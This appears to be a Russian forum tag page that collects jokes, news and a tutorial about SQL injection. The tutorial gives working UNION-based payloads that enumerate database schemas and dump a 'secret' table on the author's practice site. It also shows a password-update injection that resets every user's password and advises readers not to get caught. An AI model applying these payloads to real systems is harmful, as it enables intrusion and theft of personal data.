Лучшее объяснение sql инъекций
Robert'); DROP TABLE Students;--
Девушка по имени Rachel True не могла получить доступ к iCloud из-за своей фамилии
Интересно, что на протяжении шести месяцев у девушки регулярно снималась плата за облачное хранилище, к которому у неё не было доступа по вине Apple.
https://en.wikipedia.org/wiki/Rachel_True
Комментаторы шутят, что ей стоило бы сменить фамилию на Null. Или добавить к фамилии .toString()
Ну и классический комикс XKCD в тему:
Изначальная новость уже проскакивала на Пикабу, но в кратком виде
Update: в комментах привели хабрастатью (не видел в поиске, увы), в которой упоминается, что Павел Джундик (Pavel Djundik) показал, где именно возникает проблема в коде:
В Питере шаверма и мосты, в Казани эчпочмаки и казан. А что в других городах?
Мы постарались сделать каждый город, с которого начинается еженедельный заед в нашей новой игре, по-настоящему уникальным. Оценить можно на странице совместной игры Torero и Пикабу.
Реклама АО «Кордиант», ИНН 7601001509
Execute immediate
Наконец-то шутка не для разработчиков бэк или фронт-энда, а для разработчиков БД.
Как ломать сайты криворуких программистов.
Ломать сайты можно множеством способов, но один из самых простых и эффективных, если программист достаточно криворукий это SQL-инъекции
Давайте же немного обсудим данную тему.
Для того чтобы понять что тут происходит в принципе не нужно уметь программировать, знать SQL язык. Достаточно быть не сильно идиотом.
Что из себя представляют SQL инъекции? Это некие неправомерные действия, которые не предполагались выполняться данным скриптом.
Если привести пример из реальности, то это будет нечто такое:
Мать написала отцу записку:
Купи Васе конфет
А Вася взял и дописал: " и Пива"
В итоге отец видит записку:
Купи Васе конфет и Пива
Конечно когда прочитают логи и сверят данные Вася получит ремня, но временно он взломал систему. (поэтому правило первое, старайтесь действовать так чтоб вас не спалили)
Тут я подготовил простенький интерфейс на котором можно побаловаться:
https://test.ser60v.ru/injection/
По нормальному мы можем добавить строку, либо вытащить данные по поиску данной строки, дабы каждый ещё смог оставить немного своей дури:
Попробуем в поле поиска вбить не ololo
а
ololo' -- pikabu
Вывод выдаёт то же самое, итого мы можем применять инъекции.
В коде на сервере запрос выглядит так
SELECT * FROM `example` WHERE `text`='$find'
Мы же сами закрываем кавычки и комментируем всё последующее двумя дефисами.
Профит.
Что же мы можем сделать теперь?
Например добавить свой вывод:
' AND 0>1 UNION SELECT 1,2 -- pikabu
В этом случае мы выводим 1,2, но кому это интересно?
Если уж мы получили делать возможность инъекции необходимо узнать структуру базы, дабы получить возможность формировать желаемые запросы.
Получаем список баз
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_schema)), 1 FROM information_schema.columns WHERE ''='
Таким запросом мы получим список баз к которым у данного пользователя есть доступ.
Тут в принципе не нужно ничего понимать, мы выводим столько же полей, потому как знаем что у нас их 2. Но в первое выводим через запятую все базы, к которым можем получить доступ.
Отлично, мы знаем что наша база называется injection
Теперь получим список таблиц нашей базы
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and ''='
Получаем список колонок из таблицы secret
' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(column_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and table_name='secret' and ''='
Их внезапно тоже 2, так что не парясь можно получить всё содержимое.
' AND 0>1 UNION SELECT * FROM secret WHERE ''='
Много воли я решил не давать вам на сервере, например нет возможности редактировать структуру базы, создавать новые таблицы, удалять строки. Иначе начнётся тотальный треш.
В сущности, сейчас найти данную уязвимость практически невозможно. Но всякое в жизни бывает...
Так например было дело, на каком-то ресурсе удалось при редактировании своего пароля установить такой пароль всем, потому как было что-то типа:
UPDATE `users` SET `password`='$password' WHERE id=$id
Ну и если мы делаем переменную $password
newPass' -- ololo
То пароль newPass ставится для всех пользователей.
Защититься от инъекций куда проще, чем их использовать, но если доступ к оным получен - это дарует много возможностей.
Если кто-то сможет сделать insert/update в таблицу secret каким-то образом - с меня пиво первому сделавшему..)
SQL Инъекция
- Здравствуйте, Вас беспокоят из школы вашего сына. У нас тут есть проблемы с компьютером.
- О, боже. Он что, что-то сломал?
- Нет, но... Вы что, реально назвали своего сына Роберт'); DROP TABLE Students; --? А то у нас он тут так зовется...
- Ага, мы его так зовем.
- Ну, мы потеряли все годовые оценки учеников, надеюсь вы счастливы.
- Я надеюсь, что теперь вы уж точно научились обрабатывать входные данные для баз данных.
UPD1: https://airbrake.io/blog/comics/top-10-programming-comics-ca... - отсюда брал
Опасная уязвимость на государственном сайте
Здравствуйте, дамы и господа.
Сегодня мне бы хотелось рассказать вам о том, как наше государство беспокоится о безопасности наших данных.
Сегодня на Хабре можно наткнуться на интересную статью:
https://habrahabr.ru/post/347760/.
В ней некий пользователь NoraQ рассказывает о вопиющей уязвимости на сайте Федеральной службы по надзору в сфере образования и науки.
В этой статье автор рассказывает о возможности беспрепятственного получения базы данных, содержащей информацию о 14 000 000 документах об образовании и их владельцах, включая их паспортные данные, информацию о учебном учреждении, выдавшем этот документ и пр. Общий объём данных составляет 5 ГБ. При всём при этом, если верить автору, никто даже не шелохнулся, пока он выкачивал такое количество данных с государственного сайта.
Для тех, кто ещё не испугался, добавлю от себя, что никто не гарантирует, что нельзя с помощью найденной уязвимости подкорректировать данные и, например, добавить себе красный диплом или, развлечения ради, удалить чужой.
На данный момент уязвимость ещё не закрыта, а сам автор побоялся сообщать о ней администрации сайта, в ввиду совершённых им неправомерных действий.
UPD: реестр не работает, скорее всего он не выдержал такого количества хакеров и оказался недоступен. Будем надеяться, что уязвимость в ближайшем будущем закроют
Конкурс для мемоделов: с вас мем — с нас приз
Конкурс мемов объявляется открытым!
Выкручивайте остроумие на максимум и придумайте надпись для стикера из шаблонов ниже. Лучшие идеи войдут в стикерпак, а их авторы получат полугодовую подписку на сервис «Пакет».
Кто сделал и отправил мемас на конкурс — молодец! Результаты конкурса мы объявим уже 3 мая, поделимся лучшими шутками по мнению жюри и ссылкой на стикерпак в телеграме. Полные правила конкурса.
А пока предлагаем посмотреть видео, из которых мы сделали шаблоны для мемов. В главной роли Валентин Выгодный и «Пакет» от Х5 — сервис для выгодных покупок в «Пятёрочке» и «Перекрёстке».
Реклама ООО «Корпоративный центр ИКС 5», ИНН: 7728632689